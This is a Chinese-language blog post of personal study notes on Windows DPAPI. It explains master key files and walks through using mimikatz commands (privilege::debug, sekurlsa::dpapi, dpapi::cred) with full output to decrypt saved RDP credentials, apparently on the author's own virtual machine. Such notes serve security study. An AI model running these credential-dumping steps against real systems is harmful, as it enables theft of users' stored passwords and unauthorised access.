DPAPI学习记录
什么是DPAPI
DPAPI(Data Protection Application Programming Interface)是Microsoft为了数据保护提供的一个接口。
应用范围:
- IE、Chrome的登录表单自动完成
- Powershell加密函数
- Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。
- FTP管理账户密码
- 共享资源文件夹的访问密码
- 无线网络帐户密钥和密码
- 远程桌面身份凭证
Master Key Files
位置:%APPDATA%/Microsoft/Protect/%SID%
这里我的虚拟机中的masterkeyfile name为:1
288536919-3ca5-4e31-a0ac-1ccf6eb94dda
a94e3c00-08e5-4272-8648-f7a796159916
由于该文件为受保护的,所以我们要勾选掉 隐藏受保护的操作系统文件
master key file为二进制文件,可以获取文件中的Masterkey破解登陆密码,包含以下五个部分:1
2
3
4
5Header and system information
User’s Master Key
Local backup encryption key
Unique CREDHIST file identifier
Domain Master Key backup
利用mimikatz对MasterKeyFile进行解析,这里只是解析格式:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34mimikatz(commandline) # dpapi::masterkey /in:C:\Users\xxxx\AppData\Roaming\Microsoft\Protect\S-1-5-21-3716468413-4174316740-3893867168-1001\88536919-3ca5-4e31-a0ac-1ccf6eb94dda
**MASTERKEYS**
dwVersion : 00000002 - 2
szGuid : {88536919-3ca5-4e31-a0ac-1ccf6eb94dda}
dwFlags : 00000005 - 5
dwMasterKeyLen : 000000b0 - 176
dwBackupKeyLen : 00000090 - 144
dwCredHistLen : 00000014 - 20
dwDomainKeyLen : 00000000 - 0
[masterkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : 824e5853fe8cc89a609ea3d6fdf63b49
rounds : 000043f8 - 17400
algHash : 0000800e - 32782 (CALG_SHA_512)
algCrypt : 00006610 - 26128 (CALG_AES_256)
pbKey : b1509914bf8fafaf32f0686555097ad5f6241061f2857972710a788b3c4dcce9733d7ae5fd45b7c3483a07321e6c0fb047cb06389b0567b6964c7382255d25c1a316a75c6839d7a516540a10c49941b02e3b7d08bcbca8c6ed4362469b9eafbbecca62ac20a03aa9ae739e23d67f2446a77b63b00166c2616ac31de9b59327afa6975f440bb735a95427413c1a209036
[backupkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : b9eba682e6a10a6eabe2a671f2a5f970
rounds : 000043f8 - 17400
algHash : 0000800e - 32782 (CALG_SHA_512)
algCrypt : 00006610 - 26128 (CALG_AES_256)
pbKey : 07f73eaad338c8f205525bcd76883a9280e646b79fd93fef9b162aaeea97241a03dc6aa5b9f64734d20ad78b6f6d9d4c8aa79a8d03155116c61e5e514e5ed570847f81a2ca904085672de962c687614e72dc9cd62a5c5f2ac89e1643bf3b9612218a4bbe8bfe22304389f6fa155a9790
[credhist]
**CREDHIST INFO**
dwVersion : 00000003 - 3
guid : {bc99ef8c-8b47-4d3c-a316-2daba229d091}
Auto SID from path seems to be: S-1-5-21-3716468413-4174316740-3893867168-1001
破解rdp密码
首先查看保存的rdp凭据:1
cmdkey /line
windows保存rdp凭据的位置:1
C:\Users\用户名\AppData\Local\Microsoft\Credentials
我们可以查看该目录下的文件有啥:1
2
3
4
5
6
7
8
9
10
11C:\Users\xxx>dir /a C:\Users\xxxx\AppData\Local\Microsoft\Credentials\*
驱动器 C 中的卷没有标签。
卷的序列号是 EA04-9FD7
C:\Users\xxx\AppData\Local\Microsoft\Credentials 的目录
2020/06/29 11:04 <DIR> .
2020/06/29 11:04 <DIR> ..
2020/06/29 11:04 434 0584A81C75E5FE36C40B464C8CFBCD0F
1 个文件 434 字节
2 个目录 38,597,902,336 可用字节
用管理员权限打开mimikatz,先提个权限:1
privilege::debug
解析rdp凭证文件:1
dpapi::cred /in:C:\Users\xxx\AppData\Local\Microsoft\Credentials\0584A81C75E5FE36C40B464C8CFBCD0F
获取到guidMasterKey,这里的gmk其实就是我们的master key file名称,位置就在%APPDATA%/Microsoft/Protect/%SID%下
其实这里可以直接用mimikatz读取所有masterkeyfile对应的masterkey,使用命令:1
sekurlsa::dpapi
这里其实mimikatz已经将masterkey放入缓存中,下次我们读取cred文件的时候mimikatz会直接利用masterkey进行解密。
我们再运行命令1
dpapi::cred /in:C:\Users\xxx\AppData\Local\Microsoft\Credentials\0584A81C75E5FE36C40B464C8CFBCD0F
结果如下,成功读取远程密码:
查看dpapi缓存:1
dpapi::cache
参考资料
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:DPAPI学习记录
本文作者:sher10ck
发布时间:2020-06-24, 16:14:28
最后更新:2020-12-29, 09:46:25
原始链接:http://sherlocz.github.io/2020/06/24/DPAPI学习记录/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。